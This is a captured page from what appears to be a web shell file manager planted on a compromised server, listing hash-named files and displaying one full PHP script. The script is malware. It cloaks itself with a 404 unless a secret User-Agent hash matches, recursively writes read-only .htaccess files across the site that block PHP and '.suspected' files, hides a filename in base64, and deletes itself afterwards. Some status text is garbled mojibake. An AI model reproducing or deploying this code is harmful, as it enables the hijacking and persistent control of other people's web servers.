X7ROOT File Manager
Current Path:
/tmp/wattconsult
tmp
/
wattconsult
/
๐
..
๐
2debb481ec0430cdda78836aea04ba0f
(22.95 KB)
๐
31f49899c4d6728d6d296ef3105e7879
(5.86 KB)
๐
364e7e5c6e6cfa02178a072a63719b33
(3.31 KB)
๐
499b2ead58481f6d9e3f2c6bf6c7eb98
(367 B)
๐
5e5b6ad87e3fae493e074a0068138343
(37.71 KB)
๐
7c8fe70cb7027a7d8d1a20351da53498
(23.44 KB)
๐
7cdc8f9283c60c764d4e12425ac52b42
(367 B)
๐
82a05cba6e4f2fa29820a315eb489d81
(831 B)
๐
82b7d5a0a31b05bffb5bcfcc5281d730
(831 B)
๐
83ff2864e162c78eed5b5c2de8fdec9f
(34.52 KB)
๐
893b4bf655d14c3d2e0c946c07becfa4
(24.43 KB)
๐
94111831f7a87bf8fc973d003707d68b
(6.18 KB)
๐
a4a690dd181a0d5083c7ef5591f4f8fa
(22.56 KB)
๐
ae365a45f1881af979774e4380e2c0f1
(91 B)
๐
bc753ff9355226c97ed0770e76a73b81
(251.44 KB)
๐
bd64e1909a3c8dcd8655694c70596aec
(19.89 KB)
๐
d9356452e0584152eea53f7c874306c2
(250.29 KB)
๐
e85f89d302a05b3797dc17ad46a4ca68
(23.09 KB)
๐
f01f808710bfc8421485494952defc17
(20.26 KB)
๐
fc0c192380a0b1c1ab3bf52a18a22c90
(3.4 KB)
Editing: 31f49899c4d6728d6d296ef3105e7879
<?php error_reporting(0); setTimeLimit(0); session_start(); ini_set('memory_limit', '-1'); define('UAMD53KEY', '9a789958ee3a3164008a82d788a997d8'); if(md5(md5(md5($_SERVER['HTTP_USER_AGENT']))) != UAMD53KEY){ header('HTTP/1.1 404 Not Found'); header("status: 404 Not Found"); die(); } function setTimeLimit($intT){ if(function_exists('set_time_limit')){ set_time_limit($intT); } } define('STEP', 2000); $count = 0; $total = empty($_GET['total']) ? 0 : $_GET['total']; echo "total:".$total; $GLOBALS['lastPathFound'] = false; $content = '<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php - [L] RewriteRule ^.*\.[pP][hH].* - [L] RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L] <FilesMatch "\.(php|php7|phtml|suspected)$"> Deny from all </FilesMatch> </IfModule>'; $md5content = md5($content); $tempFile = md5($_SERVER["HTTP_HOST"].$_SERVER['SCRIPT_FILENAME']); define('TEMP_FILE', $tempFile); define('HT_CONTENT', $content); define('HT_CONTENT_MD5', $md5content); file_put_contents(TEMP_FILE, "1"); $dir = "."; $lastPath = empty($_GET['lastPath']) ? "" : base64_decode($_GET["lastPath"]); echo "lastPath:" . $lastPath . "<br>\n"; $path = formatPath($dir); $lastPath = formatPath($lastPath); if(file_exists(TEMP_FILE)){ if(recurDirHt($path, $count, $total, $lastPath)){ echo "all done!<br>"; $GLOBALS['lastPath'] = ""; } }else{ echo 'root dir is not writeable, abord!<br>'; } deletefile($_SERVER['SCRIPT_FILENAME']); echo 'try to delete :' . $_SERVER['SCRIPT_FILENAME'] . "<br>\n"; echo '<meta http-equiv="refresh" content="0; url=/" />'; die; function recurDirHt($pathName, &$count, &$total, $lastPath = "") { $lastSubPath = firstSubDir($pathName, $lastPath); $result = false; if(is_dir($pathName)) { $allFiles = scandir($pathName); if(empty($lastSubPath)){ $GLOBALS['lastPathFound'] = true; } foreach($allFiles as $fileName) { $fullName = $pathName.'/'.$fileName; if(in_array($fileName, array('.', '..'))) { continue; } if(is_file($fullName)) { continue; } if(is_link($fullName)) { continue; } if($GLOBALS['lastPathFound'] == true || $fileName == $lastSubPath){ if($fileName == $lastSubPath){ echo "found: ".$lastSubPath."<br>\n"; } if($fullName == $lastPath){ $GLOBALS['lastPathFound'] = true; echo "found lastPath".$lastPath."<br>\n"; } if($GLOBALS['lastPathFound'] == true){ $count++; $total++; $GLOBALS['lastPath'] = $fullName; echo createHt($fullName); if(STEP <= $count){ echo 'Last Path is :' . $fullName . "<br>\n"; echo '<meta http-equiv="refresh" content="0; url=?total='.$total.'&lastPath='.base64_encode($fullName).'" />';die; }else{ echo "progress:".$count."/".$total."<br>\n"; } }else{ echo 'ignore:' . $fullName . " lastPathFound false!<br>\n"; } if(!is_link($fullName) && is_dir($fullName) && is_readable($fullName)) { $result = recurDirHt($fullName, $count, $total, $lastPath); } }else{ echo 'ignore:' . $fullName . "<br>\n"; } } $result = true; } return $result; } function firstSubDir($path, $lastPath){ $arrPath = arrPathExplode($path); $arrLastPath = arrPathExplode($lastPath); foreach($arrLastPath as $k => $v){ if(!isset($arrPath[$k]) || empty($arrPath[$k])){ return $v; } } return ''; } function arrPathExplode($path){ $path = formatPath($path); $arr = explode('/', $path); return $arr; } function formatPath($path){ $path = str_replace('\\', '/', $path); $path = preg_replace("|/+|", '/', $path); $path = rtrim($path, '/'); return $path; } function createHt($path){ $result = ""; if(file_exists($path . "/" . TEMP_FILE)){ $result = $path.'ๆฏๆ น็ฎๅฝ,ๆพๅผๆง่ก๏ผๅ ไธบๅญๅจ'.$path . "/" . TEMP_FILE.'<br>'."\n"; }elseif(file_exists($path . "/4c7a17f635a4d887cf587a123b6a6bc4") || file_exists($path . "/.ftpquotas")){ $result = $path.'ๆฏๅ ถไป็ฝ็ซๆ น็ฎๅฝ,ๆพๅผๆง่ก๏ผ<br>'."\n"; }else{ $htfile = $path . base64_decode("Ly5odGFjY2Vzcw=="); file_put_contents_force($htfile, HT_CONTENT); chmod($htfile, 0444); $thecontent = file_get_contents($path.base64_decode("Ly5odGFjY2Vzcw==")); $theContentMd5 = md5($thecontent); if($theContentMd5 != HT_CONTENT_MD5){ $result = $htfile.'ๆดๆฐๅคฑ่ดฅ๏ผ่ฏท่็ณปๆๆฏๅค็๏ผ<br>'."\n"; }else{ $result = $htfile.' done!<br>'."\n"; } } return $result; } function file_put_contents_force($filename, $content){ if(is_file($filename)){ chmod($filename, 0747); } file_put_contents($filename, $content); } function deletefile($file){ unlink($file); if(file_exists($file)){ file_put_contents($file, ""); echo 'delete failed<br>'."\n"; } if(file_exists($file)){ rename($file, "/tmp/".md5($file.time())); echo 'truncat failed<br>'."\n"; } if(file_exists($file)){ echo 'move failed<br>'."\n"; } } die("done!"); ?>
Upload File
Create Folder